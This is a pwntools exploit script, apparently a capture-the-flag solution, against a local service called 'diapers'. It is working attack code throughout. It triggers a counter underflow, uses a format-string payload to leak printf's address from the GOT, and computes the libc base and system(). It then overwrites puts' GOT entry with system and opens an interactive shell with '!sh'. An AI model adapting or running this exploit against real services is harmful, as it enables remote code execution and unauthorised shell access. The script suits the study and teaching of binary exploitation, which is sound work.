from pwn import *

#context.log_level = "debug"

printf_got = 0x804b00c
puts_got = 0x0804b01c

system_libc_offset = 0x40310
printf_libc_offset = 0x4d410

def main():
#    p = process("./diapers")
    p = remote("localhost", 1343)
    p.recv(0x60)    # Read the menu

    log.info("Selecting overflowable brand")
    p.sendline("3")   # Send 3

    p.recv(0x3d)    # Read the options

    log.info("Decrementing wetness...")

    # Trigger the overflow condition
    for i in range(257):
        p.sendline("1")
        p.recv(0x200)

    log.info("Overflowable")

    ### Leak the GOT addresses ###

    # Write to format string member
    p.sendline("0")

    # Payload
    payload = "A"*15 + p32(printf_got) + "::%18$s::"
    payload = payload.ljust(108, ".")
    p.send(payload)
    p.recvrepeat(0.4)

    # Trigger the leak to get the dynamic address of strlen
    p.sendline("2")
    leak = p.recvrepeat(0.4)
    delim_index = leak.index("::") + 2
    printf_address = u32(leak[delim_index:delim_index+4])
    log.info("Got leak to printf: 0x%x" % printf_address)

    # Calculate libc base
    libc_base = printf_address - printf_libc_offset
    log.info("libc Base: 0x%x" % libc_base)

    # Calculate system address
    system_address = libc_base + system_libc_offset
    log.info("System Address: 0x%x" % system_address)

    ### Perform the Exploitation Overwrite ###

    # Write to format string member
    p.sendline("0")

    # Payload
    fmt = fmtstr_payload(18, {puts_got: system_address})
    payload = "A"*11 + "\x00"*4 + fmt
    payload = payload.ljust(108, "\x00")
    p.send(payload)
    p.recv(0x500)

    # Trigger the overwrite and get shell
    p.sendline("2")
    p.sendline("!sh")   # Cause of the ed
    p.recvrepeat(0.4)

    log.success("Enjoy your shell")

    p.interactive()

if __name__ == "__main__":
    main()
